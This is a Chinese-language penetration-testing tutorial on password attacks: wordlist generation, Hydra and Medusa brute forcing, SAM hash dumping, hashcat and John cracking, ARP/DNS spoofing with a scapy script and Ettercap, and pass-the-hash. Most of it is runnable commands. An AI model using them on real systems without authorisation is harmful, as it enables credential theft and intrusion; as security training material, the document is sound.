當目標系統無任何已知漏洞時,可以考慮社會工程學或者獲取目標系統的用戶身份,通過合法賬戶登錄繞過系統的安全防線。賬戶登錄身份認證包括賬號密碼、passphrase、密保、手機、指紋、聲紋、面部識別等,其中賬號密碼是安全級別較低的認證方式,基於互聯網的身份認證仍以賬號密碼爲主要形式。
密碼破解的方法通常有基於社會工程學的人工猜測、基於字典的暴力破解以及基於中間人攻擊的密碼嗅探。
文章目錄
一、字典
字典是暴力破解的基礎,根據已有信息生成精簡高效、命中率高的字典是暴破成功的關鍵。一些字典資源在kali/usr/share/wordlist/
、/usr/share/wfuzz/wordlist/
等目錄中可以找到,其他需要結合已有信息生成高效的字典,這裏介紹四種字典生成工具。
(一)Crunch
強大的字典生成工具,基本規則:crunch <min-len> <max-len> [<charset string>] [options]
eg:
crunch 6 6 0123456789 -o START -d 2 -b 1mb / -c 100
# -b 按大小分割字典(kb/kib、 mb/mib、 gb/gib)
# -c 按行數分割字典
# 以上兩個參數必須與-o START結合使用,-o START爲按順序排列字典
# -d 同一字符最多連續出現數量,如果使用-t參數,則-d後要跟上不重複字符的類型,如-d@或-d%^
crunch 4 4 -f /usr/share/crunch/charset.lst lalpha-sv -o 1.txt
# 指定charset.lst中的字符集
crunch 4 5 -p dog tiger bird
crunch 1 1 -p 1234567890
# 在指定的參數中排列組合(無重複)
# -p必須是最後一個參數,與-s 參數不兼容(-s指定起始字符串)
# 最大、最小字符長度失效,但必須存在
crunch 6 6 -t @,%%^^ -z 7z
# @ 代表小寫字母 lalpha
# , 代表大寫字母 ualpha
# % 代表數字 numeric
# ^ 代表符號 symbols
# 輸出壓縮文件,7z壓縮比率最大
crunch 1 1 -q word
# 讀取word文件每行內容作爲基本字符生成字典
# 最大、最小字符長度失效,但必須存在
crunch 5 5 abc DEF + \!@# -t ,@^%,
# + 佔位符,如果不使用指定的字符集,則需要使用加號佔位;這裏沒有指定數字字符集,而是採用默認的0123456789,所以用+來佔位
# \ 轉義符(轉義空格、符號)
crunch 5 5 -t ddd%% -p dog drag bird
# 任何不同於,@^%以及-p指定的值都是佔位符
crunch 2 4 0123456789 | aircrack-ng a.cap -e MyESSID -w -
# 爲節省空間,可以將生成的字典直接作爲輸入給爆破程序使用
(二)Cupp
交互輸入信息,按輸入的信息生成專屬的密碼字典,需要在GitHub上下載。
git clone https://github.com/Mebus/cupp.git
./cupp.py -i #交互輸入信息
(三)Cewl
在破解具體門戶網站用戶的密碼時,可以結合網站中出現頻率較高的關鍵詞,通過收集網站信息生成字典。
eg:
cewl 1.1.1.1 -m 3 -d 3 -e -c -v -w a.txt
# -m:最小單詞長度
# -d:爬網深度
# -e:收集包含email地址信息
# -c:顯示每個單詞出現次數
# 支持代理
通過cewl查找到的素材往往需要經過篩選,作爲爆破字典的一部分使用。同時要考慮將關鍵詞進行變型,如末尾增加數字、大小寫變化、字符與字符數字相互轉換等,通常結合John等其他字典生成工具使用。
(四)John the Ripper
John本身是一個功能強大的離線密碼破解工具,同時能讓我們在已有字典基礎上外加規則,將基礎詞彙變型,得到詞彙更加豐富的字典。實現字典詞彙的動態變型,首先要在John的配置文件/etc/john/john.conf
中修改規則,在配置文件中有很多section,以中括號標誌,在section中可以定製自己需要的規則。
eg:
# 在[List.Rules:Wordlist]中存放了對基礎字典進行變型的規則,使用password.lst時自動調用
# 在[List.Rules:Wordlist]中添加內容,表示在原有字典基礎上末尾加數字進行擴展
[List.Rules:Wordlist]
$[0-9]
$[0-9]$[0-9]
$[0-9]$[0-9]$[0-9]
# 修改後使用命令
john --wordlist=cewl.txt --rules --stdout > m.txt
# --wordlist指定已有的基礎字典cewl.txt
# --rules表示調用配置文件中的規則,默認爲Wordlist
也可以自己生成字典規則進行使用,如在配置文件中添加:
[List.Rules:test]
$[0-9]$[0-9]$[0-9]$[a-zA-Z]
$[0-9]$[0-9]$[0-9]$[a-zA-Z]$[a-zA-Z]$[a-zA-Z]$[~!@#$%^&*()\-_=+]
# 修改後使用命令
john --wordlist=cewl.txt --rules=test --stdout > m.txt
#當rules規則不是用默認的Wordlist時,需要用--rules指定
二、在線破解
在線破解的基本原理是:利用工具不斷給目標主機發送驗證請求,通過響應信息判斷是否成功登陸。當目標主機設置了較完善的登陸限制時(鎖定閾值、單位時間請求限制等),破解效率較低。
(一)Hydra
- 優勢:速度非常快,支持協議多
- 劣勢:運行不穩定;速度太快,以至於有些服務會拒絕響應;每主機新建進程,浪費資源
基本規則:hydra server service [options]
eg:
hydra -l administrator -P pass.lst smb://1.1.1.1/admin$ -vV
hydra -l administrator -P pass.lst rdp://1.1.1.1 -t 1 -vV
# admin$ 是windows系統中的共享文件
# -t :主機併發登錄數量限制
hydra -L user.lst -P pass.lst ftp://1.1.1.1 -s 2121 -e nsr -o p.txt
# -s :當服務開啓的不是默認端口時用來指定端口
# -e nsr :添加空密碼、用戶名以及用戶名倒序的檢查
# -o :將找到的login/password寫入指定文件
Hydra中還自帶了用於篩選字典的工具 pw-inspector,可以基於已有字典進行篩選。
eg:
pw-inspector -i /usr/share/wordlists/nmap.lst -o p.lst -l -m 6 -M 7
# -l :篩選小寫字母集
# -m :篩選最小長度
# -M :篩選最大長度
注:Hydra支持表單破解,但功能有些雞肋,表單破解建議使用Burp Suite
(二)Medusa
- 優勢:運行穩定,速度控制得當;基於線程運行
- 劣勢:支持協議有待完善(目前仍不支持RDP)
基本規則:medusa -M modules [options]
eg:
# 查看支持模塊
medusa -d
# 破解windows密碼
medusa -M smbnt -h 1.1.1.1 -u administrator -P pass.lst -n 4455 -e ns -F
# -n :當服務開啓的不是默認端口時用來指定端口
# -e ns :檢查空密碼和用戶名
# -F : 找到正確密碼後停止繼續檢查
# 破解Linux SSH密碼
medusa -M ssh -h 192.168.20.10 -u root -P pass.lst -e ns -t 3 –F
# -t : 主機併發登錄數量限制
# mysql服務密碼破解
medusa -M mysql -h 1.1.1.1 -u root -P pass.lst -e ns -F
三、離線破解
計算機利用單向HASH算法,將密碼映射成HASH值存儲,在線破解的基本原理即設法獲取這些HASH值,然後利用工具進行碰撞破解或者採用PTH。HASH加密算法包括MD5、MD4、SHA128、SHA256等,不同的HASH類型碰撞破解方法不同,基本思路:
- 獲取密碼HASH
- 識別HASH類型
- 利用離線破解工具碰撞密碼HASH
相比於在線破解的優勢:
- 不會觸發密碼鎖定、登錄限制等安全機制
- 不會產生大量登陸失敗日誌引起管理員注意
(一)獲取HASH
Windows系統登錄後SAM文件是被鎖死的,不能複製、移動,正常情況下打開是亂碼或空白,竊取SAM文件可以登錄並提權後用mimikatz、wce等工具,或者採取物理接觸等非登錄手段。
1.shell登陸
取得shell後利用漏洞提權,通過工具獲取HASH值:mimikatz、wce等,參見:
2.物理接觸
首先通過Kali ISO啓動Live模式虛擬機,然後利用samdump2工具:
mount /dev/sda1 /mnt #掛載Windows主機磁盤
cd /mnt/Windows/System32/config #SAM文件存放位置
samdump2 SYSTEM SAM -o sam.hash
獲取HASH文件後,可以用 nc 等工具進行傳輸
(二)識別HASH
一些離線破解工具自帶HASH算法識別功能,也可以利用專用識別工具如:
- hash‐identifier
- hashid
一些常見的HASH算法長度:MD5(128bit、256bit)、SHA1(160bit)、SHA256(256bit)、SHA512(512bit)、MTLM(128bit)
注:可能識別錯誤或無法識別
(三)碰撞破解
1.Hashcat
強大的開源多線程密碼破解工具,號稱世界上最快的密碼恢復工具,支持80多種加密算法破解,目前僅支持基於CPU計算能力破解。
有七種破解模式:
- 0 Straight:字典破解
- 1 Combination:將字典中密碼進行組合(1 2 > 11 22 12 21)
- 2 Toggle-Case:嘗試字典中所有密碼的大小寫字母組合
- 3 Brute-force:指定字符集(或全部字符集)所有組合進行暴破
- 4 Permutation:字典中密碼的全部字符置換組合(12 21)
- 5 Table-Lookup:程序爲字典中所有密碼自動生成掩碼
- 8 Prince:王子破解
基本規則:hashcat [options] hashfile [mask|wordfiles|directories]
eg1:基本使用
hashcat -b --force
# -b:查看系統性能針對每個算法的破解速度
# 虛擬機環境需要將CPU內核數量設置爲1,並加上--force忽略警告,否則會報錯
hashcat -m 100 hash.dump pass.lst
# 默認以破解模式0運行
# -m:指定HASH算法
hashcat -m 0 hash.txt -a 3 ?l?l?l?l?l?l?l?l?d?d
# -a:指定破解模式,默認爲模式0
# ?l:所有小寫字符集
# ?u:所有大寫字符集
# ?d:所有數字字符集
# ?s:所有特殊符號字符集
# ?a:以上所有字符集
hashcat -m 100 -a 3 hash.dump --increment --increment-min 6 --increment-max
8 ?l?l?l?l?l?l?l?l
# --increment:開啓increment模式
eg2:破解Linux系統賬號密碼
Linux shadow文件記錄格式爲:
USERNAME:$HASH_ID$SALT$HASH:MODIFY_DATE:DISABLE_MODIFY_TIME:EXPIRE_TIME::::
例如:root:$6$OvgkjqcxNCBY2Ypk$UXUteT4hFhn.HNbsgzCB86jOa0rtngw9N3mgPZZFn9PMHUDOvkjZwklz/R1KwG0WT42nA.1cBsGMPNTlW2hGA/:18181:0:99999:7:::
其HASH值爲:UXUteT4hFhn.HNbsgzCB86jOa0rtngw9N3mgPZZFn9PMHUDOvkjZwklz/R1KwG0WT42nA.1cBsGMPNTlW2hGA/
hashcat -a 0 -m 1800 \$6\$OvgkjqcxNCBY2Ypk\$UXUteT4hFhn.HNbsgzCB86jOa0rtngw9N3mgPZZFn9PMHUDOvkjZwklz/R1KwG0WT42nA.1cBsGMPNTlW2hGA/ wordlist.txt -o crack.hash --force
# $在Linux環境下需要轉義
# 破解成功Status......:Cracked,破解失敗Status......:Exhausted
# 必須指定破解模式,-m 1800爲 sha512crypt $6$, SHA512 (Unix)
eg3:破解Windows系統賬號密碼
Windows sam文件記錄格式爲:
USERNAME:SID:LM-HASH:NT-HASH:::
例如:Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC:::
LM-HASH和NT-HASH是對同一個密碼的兩種不同的加密方式,LM-HASH已不再使用,其NT-HASH(即NTLM-HASH)值爲:683020925C5D8569C23AA724774CE6CC
hashcat -a 0 -m 1000 sam.ntlmhash wordlist.txt -o crack.hash --force
# sam.ntlmhash中僅保留NT-HASH部分
2.oclHashcat
號稱世界上最快、唯一的基於GPU的密碼破解軟件,免費開源、支持多平臺、支持分佈式、支持150+hash算法,對硬件要求較高:
- 虛擬機中無法使用
- 支持 CUDA 技術的Nvidia顯卡
- 支持 OpenCL 技術的AMD顯卡
- 安裝相應的驅動
使用方法基本同Hashcat
eg:
oclHashcat -m 0 hash.txt -a 3 ?a?a?a?a?a?a?a
最新版本kali已將oclHashcat移除
3.John the Ripper
功能強大的離線密碼破解工具,支持衆多服務應用的加密破解,john --list=formats
查看支持服務,同時支持某些對稱加密算法破解。
默認破解模式分爲三種,破解時依次運行:
- Single crack:默認被首先執行,使用Login/GECOS信息嘗試破解
- Wordlist:基於規則的字典破解,主配文件中已指定 ‘Wordlist=$JOHN/password.lst’
- Incremental:所有或指定字符集的暴力破解
eg1:破解Linux系統賬號密碼
john -test
# 查看系統性能針對每個算法的破解速度
unshadow /etc/passwd /etc/shadow > pass.txt
# 合併passwd和shadow文件
john pass.txt
# 按照single、wordlist、incremental模式依次運行
cat ~/.john/john.pot
# 破解的密碼信息存在~/.john/john.pot中
eg2:破解windows系統賬號密碼
john sam.dump -wordlist=myPassword -format=nt
# 指定字典爲myPassword,指定HASH算法,而不是採用john檢測的結果
# Windows中HASH採用NTLM算法
cat ~/.john/john.pot
# 查看破解結果
eg3:破解rar、zip等加密文件
# 以rar破解爲例
rar2john passwd.rar >> rar.hash
# 內容爲:wang.rar:$RAR3$*0*acf59f84ca43dda0*5e32875725a0b7128483237ea4c5024e:0::::wang.rar
john rar.hash -wordlist=wordlist.txt
cat ~/.john/john.pot
rar2john提取HASH值後,也可以用hashcat進行破解:
# 保留其密鑰信息:$RAR3$*0*acf59f84ca43dda0*5e32875725a0b7128483237ea4c5024e
hashcat -h
# 查看HASH加密類型對應ID
# RAR3-hp類型爲12500
# RAR5類型爲13000
hashcat -a 3 -m 12500 \$RAR3\$*0*acf59f84ca43dda0*5e32875725a0b7128483237ea4c5024e ?d?d?d?d?d?d -o crack.hash --force
4.RainbowCrack
基於時間記憶權衡技術生成彩虹表,提前計算密碼的HASH值,通過比對HASH值破解密碼,不用每次破解都重新計算,但是計算HASH的速度很慢,修改版可以支持CUDA GPU。
彩虹表生成工具:RainbowCrack,下載地址: http://project-rainbowcrack.com/rainbowcrack-1.7-linux64.zip ,基本命令(必須順序使用):
- rtgen:預計算,生成彩虹表,耗時的階段
- rtsort:對rtgen生成的彩虹表進行排序
- rcrack:查找彩虹表破解密碼
目前支持算法僅包括:LM、NTLM、MD5、SHA1、SHA256
eg:
#下載解壓並進入目錄
wget http://project-rainbowcrack.com/rainbowcrack-1.7-linux64.zip
unzip rainbowcrack-1.7-linux64.zip && cd rainbowcrack-1.7-linux64
#改變可執行文件的使用權限
chmod 754 rcrack rt2rtc rtc2rt rtgen rtmerge rtsort
#./rtgen -h
rtgen md5 loweralpha 1 7 0 1000 1000 0
rtgen md5 loweralpha 1 7 0 -bench
#-bench :查看彩虹表生成速度
#./rtsort -h
rtsort /md5_loweralpha#1-7_0_1000x1000_0.rt
#./rcrack -h
rcrack *.rt -h 5d41402abc4b2a76b9719d911017c592
#用彩虹表爆破單個HASH
rcrack *.rt -l hash.txt
#用彩虹表爆破HASH文件,每行一個HASH
計算彩虹表時間可能很長,所以一般下載彩虹表使用,常用網址:
Free Rainbow Tables
RainbowCrack Tables
四、密碼嗅探
基本原理:利用中間人攻擊,嗅探、分析目標和網絡節點之間的數據包,完成密碼竊取。
圖1 中間人攻擊
(一)基本原理
注意節點設備集線器和交換機的區別:
- 集線器工作在一層,全端口轉發數據包,不作任何過濾
- 交換機工作在二層,交叉總線矩陣使端口之間獨享帶寬,根據MAC地址表對數據進行過濾,減緩流量擁塞狀況
因此集線器連接的設備網卡在混雜模式可以收到所有設備發出的數據包,而交換機連接的設備網卡在混雜模式默認只能收到發給自己的單播數據包和廣播數據包。
1.ARP欺騙
ARP協議設計有嚴重安全缺陷,建立連接過程僅包括請求和響應兩個部分,這兩個部分相對獨立,響應數據包可以單獨僞造,和請求之間沒有必然聯繫,所以它也被稱爲基於傳聞的協議,網絡設備不會去驗證ARP響應信息的來源。攻擊者可以僞造網關的ARP ACK或者Request包,對攻擊目標實施欺騙,使得攻擊目標數據包經由攻擊者轉發,實現信息嗅探。
2.ICMP重定向
ICMP通常用於完成差錯通知和信息查詢,在特定的情況下,當路由器檢測到一臺機器使用非優化路由的時候,它會向該主機發送一個ICMP重定向報文,請求主機改變路由,指導數據包的正確流向,正常工作時如圖2所示:
(圖片來源:https://www.cnblogs.com/KevinGeorge/p/7866840.html), 其中R1提示C1改變路由即是應用ICMP。
圖2 ICMP重定向原理
ICMP重定向報文沒有協議狀態檢查,以及合法性機制驗證,可以結合ARP欺騙,通過僞造網關向攻擊目標發送ICMP重定向報文,使得攻擊目標數據包經由攻擊者轉發,實現信息嗅探。
注意:路由器不會響應ICMP重定向包,路由重定向只對客戶端有效,數據轉發過程是單工通信。
3.DHCP欺騙
DHCP建立連接包括 Discover->Offer->Request->Ack 四個部分,當需要分配IP的主機發出Discover或Request包時,攻擊者立即響應,修改配置指定自身IP爲網關地址,使得攻擊目標數據包經由攻擊者轉發,實現信息嗅探。
注意:網關不會響應DHCP Offer、Ack 包,DHCP欺騙只對客戶端有效,數據轉發過程是單工通信。
4.交換機端口欺騙
交換機在記錄MAC地址轉發表時,會根據數據包的源MAC地址進行學習,如果僞造數據包,將源MAC地址設置爲攻擊目標MAC地址,目的MAC地址設置爲自身MAC地址,這樣發出的數據包可以誘使其他主機將本應發往攻擊目標的數據發給自己,從而實現嗅探信息。適合ARP靜態綁定的環境。
5.DNS欺騙
DNS查詢分爲兩個過程,第一個過程是查詢主機到本地域名服務器的過程,爲遞歸查詢,第二個過程爲本地域名服務器到根域名服務器、頂級域名服務器、權限域名服務器的查詢過程,爲迭代查詢,最後本地域名服務器將查詢結果返回給查詢主機。DNS欺騙通過響應目標主機的查詢數據包完成欺騙,配置錯誤的IP地址。
6.SSL/TLS證書僞造
HTTPS,即 HTTP over SSL/TLS,其建立鏈接主要是用非對稱加密傳輸對稱加密密鑰的過程, 之後通信數據用對稱密鑰加密。SSL/TLS證書是用CA機構私鑰加密的Server公鑰信息,證書僞造即攻擊者在可以截獲攻擊目標上行數據的基礎上,完成ServerHello以及之後的工作,同時向真正的服務器發送相同的HTTPS請求建立連接,完成攻擊目標和服務器之間的數據中轉,以此進行信息嗅探。
圖3 HTTPS建立通信過程
(二)攻擊實現
1.編寫腳本
例如用python中scapy模塊編寫發包腳本,實現ARP欺騙:
from scapy.all import *
etherSec = Ether(dst="00:0c:29:0c:54:a4",src="00:0c:29:49:54:4a")
# dst是目標主機MAC地址,src是嗅探主機MAC地址
arpSec = ARP(pdst="192.168.43.23",psrc="192.168.43.1")
# pdst是目標主機ip,psrc是網關ip
arpPack = etherSec/arpSec
for i in range(6000):
sendp(arpPack)
print('arpPack send OK\n')
time.sleep(1)
攻擊成功後,可以看到攻擊目標中ARP記錄網關MAC地址已更改:
圖4 ARP欺騙結果
2.Ettercap
Ettercap是經典的中間人攻擊工具集,支持SSH1、SSL/TLS中間人攻擊,用戶操作界面分爲四種:-T(文本界面)、-G(圖形界面)、-C(基於文本的圖形界面)、-D(後臺模式),劃分爲五個模塊:
(1)Sniffer:負責數據包轉發,分爲Unified和Bridge:
- Unified:單網卡情況下使用,獨立 完成三層數據包轉發,過程中禁用內核IP_Forward功能。
- Bridge:雙網卡情況下一層MITM模式,相當於兩個網卡橋接,隱蔽性高,不可用於網關。
(2)MITM:把流量重定向到Ettercap主機,MITM模塊包括:ARP欺騙、ICMP重定向、DHCP欺騙、DNS欺騙、交換機端口欺騙等。指定目標格式:MAC/IPs/IPv6/Ports
eg:
ettercap -i eth0 -T -M arp:remote -q /192.168.1.1// /192.168.1.2// -F 1.ef -P autoadd -w a.cap -l loginfo -L logall -m message
# -T:命令行模式
# -M:指定MITM模塊,arp:remote全雙工嗅探數據
# -q:只會打印用戶、密碼等重要信息
# -F:指定Filter
# -P:指定Plugin
# -w:嗅探所有的網絡流量寫入指定pcap文件
# -l:記錄關鍵日誌信息,生成記錄信息的文件格式爲eci,需要用etterlog查看
# -L:記錄所有日誌信息,生成記錄信息的文件格式爲eci,記錄數據包的文件格式爲ecp,需要用etterlog查看
# -m:記錄所有的操作信息
#SSL/TLS MITM
vim /etc/ettercap/etter.conf
# 在配置文件中在Linux section下將reidr_command_on和reidr_command_off配置行加上,這樣再進行MITM攻擊時會自動完成SSL/TLS證書僞造
(3)Filter:利用腳本進行數據篩選,/usr/share/ettercap/
中帶filter的都是篩選文件
eg:
# SSH-2.xx(only support ssh2)/SSH-1.99(support ssh1 and ssh2)/SSH-1.51(only support ssh1)
# 目前ettercap只能對ssh1進行MITM攻擊
# 進行ssh鏈接請求時,ettercap會截獲ssh服務器返回的response包
# 如果ssh服務器提供的是1.99版本,則將服務降級到ssh1版本
etterfilter etter.filter.ssh -o ssh.ef
# 對etter.filter.ssh源文件進行編譯,生成ef可執行文件,執行ettercap命令時進行調用
# 該filter可以探測攻擊目標的ssh版本,若是1.99則會降級爲1.51
(4)Log:日誌記錄,文件格式爲eci(信息日誌)和ecp(數據日誌),內容經過加密,需要通過etterlog查看
eg:
etterlog -p log.eci
# 查看獲取的用戶、密碼信息
etterlog -c log.ecp
# 列出Log中的數據包信息
etterlog -c -f /1.1.1.1/ log.ecp
# 只列出源地址或終端地址爲target的數據包
(5)Plugin:集成插件,包括dns_spoof等模塊
eg:
vim /etc/ettercap/etter.dns
# 修改Ettercap中的域名重定向文件
ettercap -Tq -M arp:remote -i eth0 /192.168.1.1// /192.168.1.1// -P dns_spoof
注意:Ettercap默認只有在創建socket時會調用root權限,後續操作都都是以nobody身份運行,ec_uid爲65534,可能導致後續讀寫文件受限,運行時可以在其主配文件 /etc/ettercap/etter.conf
中將ec_uid修改爲0,但是安全性會降低。
3.其他工具
除了像Ettercap一類的MITM工具集,還有一些功能相對單一的MITM工具:
-
Dsniff:功能強大的網絡嗅探工具包,集 dsniff、filesnarf、mailsnarf、urlsnarf、webspy、arpspoof、dnsspoof 等工具於一體,最新版本在2001年就已經發布,早已不再更新,目前 Kali 中不再默認安裝 dsniff,需要下載。
-
driftnet :圖片截取工具
-
dnschef:DNS欺騙工具
apt-get install dsniff
# kali中ip數據包轉發的功能默認是關閉的,需要開啓
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 192.168.43.23 -r 192.168.43.1
# -t:攻擊目標ip,-r:網關ip
# 攻擊成功後攻擊者就成了中間人,轉發攻擊目標和網關之間的信息
# 在完成ARP欺騙後,可以進一步使用dsniff、urlsnarf、webspy、driftnet等工具進行攻擊
dsniff -i eth0 -m
# 僅截取流量中的密碼信息
# -m:自動加密方式檢測
# /usr/share/dsniff/dsniff.services文件存放觸發加密算法
urlsnarf -i eth0
# 截取本機網卡流量中的url
webspy -i eth0 1.1.1.10
# 截取指定主機web網址
# 目前運行仍不穩定
driftnet -i eth0 -a -d tempdir
# -a:不實時顯示圖片,將截取圖片保存到temdir目錄
# -d:指定圖片保存目錄
# 使用dnschef的前提是能夠修改攻擊目標的本地域名服務器
# 將其配置爲攻擊者的IP,然後使用dnschef命令
dnschef --fakeip=1.1.1.10 --fakedomains=www.google.com,www.youtube.com -q
# --fakeip:被欺騙的域名要訪問的IP
# --fakedomains:需要欺騙的域名
五、Pass the HASH(PTH)
密碼破解耗費時間資源巨大,對於沒有加鹽的靜態HASH認證登錄,可以使用密文直接提交給服務器完成身份認證,這種攻擊方式對企業中使用ghost等工具克隆安裝的系統更有威脅性。
- NTLM/LM是沒有加鹽的靜態HASH,可以基於此對Window系統採用PTH攻擊
eg:
pth-winexe -U w7%aad3b435b51404eeaad3b435b51404ee:ed1bfaeb3063716ab7fe2a11faf126d8 //1.1.1.1 cmd
# 使用方法:pth-winexe [OPTION]... //HOST COMMAND
# -U USERNAME[%HASH_PASS]